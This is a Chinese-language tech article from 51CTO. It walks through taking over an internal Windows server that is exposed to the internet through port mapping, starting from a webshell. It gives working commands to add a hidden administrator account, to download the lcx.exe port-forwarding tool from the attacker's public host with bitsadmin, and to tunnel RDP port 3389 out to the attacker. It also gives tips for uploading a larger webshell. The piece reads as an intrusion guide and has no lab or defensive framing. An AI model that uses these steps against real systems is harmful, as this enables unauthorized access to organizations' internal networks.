【51CTO.com原创稿件】在很多时候,我们可以获取到一个菜刀马,虽然能执行命令,但是上传文件却有种种限制,尤其对于映射到外网的web网站,windows系统,即使有最高权限,但是我个人认为远远没有一个3389的远程桌面来得爽,本篇文章主要讲述在有一个菜刀马的前提下的,如何突破内网映射到公网的主机,直接远程桌面连接内网的3389!
0x01 前言
我们获取到一个菜刀马之后,在权限范围内可以查看任意目录,执行任意命令,但是我们常常也会遇到各种各样坑,如有些文件我们上传不了,有些文件我们也下载不下来(可能是文件太大,也可能是文件夹不方便下载),有些文件不好压缩等等,主要是针对windows的web服务器,但是如果我们能获取到一个3389的远程桌面,那么这些问题基本可以得以解决!
对于本身就是独立外网ip的windows主机,那么我们只需要查看主机有没有开3389端口,如果没有开的话我们使用命令进行开启,如果3389已经开启的情况下,那我们就可以直接添加一个管理员账号,然后远程桌面连接即可!但是目前对于相对大一点的公司来说,比如运营商,往往都是通过映射的方式提供外网的一个web服务,其实真正的web服务器则是内网的一台web服务器,并且该内网服务器同时具备内网和外网的功能,简单来说,就是同时连接了两个网络,一个与内网互通,一个可以访问外网,而外网却无法直接访问,可以简单理解为家庭路由器!对于这种情况,我们就可以使用端口转发工具,将内网的3389端口转发到我们的公网独立ip上面,从而通过连接我们的公网ip来间接连接内网的3389!
在这里,简单说一下上面所说的内网地址和公网地址,私有地址(Private address)属于非注册地址,专门为组织机构内部使用,俗称内网地址。以下列出留用的内部私有地址:
A类 10.0.0.0--10.255.255.255
B类 172.16.0.0--172.31.255.255
C类 192.168.0.0--192.168.255.255
公网地址简单来说就是任何联网设备都能访问的地址!
0x02 实战环境
本次实战环境是windows server 2008 R2,server版本是apache tomcat/7.0.59!环境如图1所示:
图1 操作系统信息
0x03 查看基本信息
我们通过菜刀的虚拟终端查看目标主机的ip地址,发现该IP不是我们公网访问网站的IP地址,而是一个内网地址,如图2所示,这里我们认为可能该web是通过映射到公网上进行访问的
图2 查看ip地址
在运营商,目前多数开放在公网的业务系统,基本都是通过映射的方式来将业务系统放在公网上面!
另外通过使用whoami查看当前用户,如图3所示,发现我们的权限是system权限,显然是可以执行任意操作的!
图3 whoami查看
0x04 确定入侵方式
虽然我们可以执行任意操作,但是由于局限于菜刀本身工具的限制,导致我们很多功能受到了大大的限制!并且对于是windows操作系统,我们只有类似cmd的shell,显然远远不能满足我们的欲望,对于windows系统来说,我的最终目标应该是管理员权限来进行远程桌面的连接(能不能实现是一回事)!
首先我们查看下当前开放的端口信息,使用netstat –ano查看端口信息发现我们期待的远程桌面服务端口3389,如图4所示:
图4 查看端口信息
此时我们就大体确定了入侵的思路,想办法连接他的3389端口,因为是system权限,因此我们完全可以添加一个管理员账号!
思路主要是以下四点:
1、添加一个管理员账号
2、上传端口转发工具
3、进行端口转发
4、远程桌面连接
0x05 添加管理员账号
windows下主要使用net user进行添加账号,主要命令如下:
net user 显示系统用户
net localgroup administrators 显示管理员账户
net user 用户名 密码 /add 添加用户
net localgroup administrators 用户名 /add 添加用户到管理员组
如图5所示,我们成功添加了管理员账号。
图5 添加管理员账号
添加了管理员账号了,我们接下来就是上传端口转发工具!
0x06 上传端口转发工具
windows下面,我们常用的端口转发工具就是lcx.exe,另外还有windows自动的netsh,但是我在自己的环境下试过没有成功,其他的端口转发工具可自行百度,对于linux的系统,我个人觉得端口转发没什么必要(可能我技术太菜,因为linux可以直接反弹bash,或者自己nc反向连接等,如果有大神知道,烦请多多指导下linux端口转发的场景),因此我接下来就是直接上传lcx.exe。
对于上传文件,我个人主要知道以下方法进行上传,一是通过上传点进行上传,对于这种方式的上传可参考文章《浅谈文件解析及上传漏洞》 ;二是通过相关工具上传,比如一些利用工具自带的上传功能,如K8的Structs2漏洞利用工具,菜刀的文件上传功能;三是通过服务器自带的远程文件下载工具,如linux的wget,windows的bitsadmin。
由于我们有菜刀马在手,所以我们现在先使用菜刀自带的上传文件功能进行lcx工具的上传,如图6所示:
图6 菜刀马文件上传功能
但是我们的运气很不好,lcx直接上传失败,如图7所示:
图7 lcx上传失败
此时我们可以通过上传一个大马,看看能不能通过大马进行上传lcx,但是我们又失败了,如图8所示:
图8 大马上传失败
这里可以告诉你们一个方法可以上传大马,就是上传一个jsp的普通马,然后使用jsp一句话客户端来上传大马就能成功上传大马,但是我们的运气实在是很不好,我们的大马虽然上传成功了,但是却无法正常访问,如图9所示:
图9 大马访问失败
由于这只是一个登陆页面,也没有发现有文件上传功能,所以我们可以使用第三种方法了,使用系统自动的远程文件下载工具,通过上面我们使用version查看到操作系统是windows的,所以我们选择使用bitsadmin,通过bitsadmin来下载我们放在公网主机上面的lcx,对于bitsadmin,主要使用语法如下:
bitsadmin /transfer n http://独立外网ip/lcx.exe c:\lcx.exe
n是jobname,可以随便命名,后面的一个是远程文件的路径,最后一个参数是下载到服务器的路径及文件名!当我们使用该命令下载lcx到服务器上面时,居然提示failed,如图10所示:
图10 bitsadmin下载lcx到服务器失败
如果你信他真的失败了,那么就就太天真了,这里可能有一个原因是菜刀马连接超时了,所以我们依然使用dir来查看下,此时你会很兴奋,如图11所示:
图11 lcx文件上传成功
如果真的下载失败了,可以更名后在进行下载试试!
0x07 端口转发
既然端口转发工具上传成功了,我们可以通过命令执行lcx来看看lcx的使用帮助,如图12所示:
图12 lcx使用帮助
简单点来说,主要使用方法如下:
本地 lcx -listen 51 3388
肉鸡 lcx -slave 本机ip 51 肉鸡ip 3389
本机ip指的是外网独立ip的windows主机的ip!
则连接为:127.0.0.1:33891 ,另外可通过本地(局域网)连接本机ip(外网独立ip)的33891端口进行连接!
51 改则两个改,3388可改!
简单点来说,就是本机将肉鸡转发过来的端口进行监听,并转发到本机的另一个端口上面,通过连接另一个端口来间接连接肉鸡的33898!
本次我们打算将肉鸡的3389转发到我们本机的51端口上面,在将51端口转发到本机的3388端口,我们先在本机进行监听,如图13所示,成功监听。
图13 外网ip上面进行监听
此时我们执行第二条命令来连接到外网IP的51端口上面,但是我们发现虚拟终端提示failed,如图14所示:
图14 lcx转发failed
根据上一个我们怀疑可能不是failed,我们通过查看我们外网IP的监听情况,发现内网主机已成功将3389转发到了51端口上面,如图15所示:
图15 内网已成功转发
通过以上相关操作,我们端口转发已成功,最后就是在本地(局域网)来连接我们外网IP的3388端口来间接远程桌面连接内网的3389端口!
0x08 远程桌面连接
最后我们只需要远程桌面连接外网IP的3388端口即可,如图16所示,我们成功通过远程桌面连接了内网的主机。
图16 成功连接到内网的3389端口
0x09 简单总结
本篇文件主要是介绍一个简单的通过公网渗透来连接映射出来的内网主机的远程桌面端口;其次也是简单介绍了文件上传的三种方式,其中,对于linux大家都熟悉使用wget,但是对于windows的,可能还是有部分人不知道bitsadmin这个命令可以远程下载网络文件(可能我是菜鸟,所以知道得晚);还有就是对于jsp的网站,如果我们大马上传不成功,那么我们可以先上传一个普通马(我遇到的基本都能成功上传,前提是能上传jsp文件哈),然后使用jsp一句话客户端来进行大马上传,这样一般都能上传成功,但是能不能正常访问就看个人的人品了;最后就是由于菜刀这个工具也是人开发出来的,所以可能还是存在一定的缺陷(也可能是我自身的使用问题),就是对于连接时间或者数据传输的一些小问题,如果显示内容过多,那么就会直接显示failed,或者有些命令有延迟,也会显示failed,但是本机却还在执行命令中,所有有时菜刀虚拟终端提示的failed,最好是验证下,不要看到failed,就认为是失败了!
【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】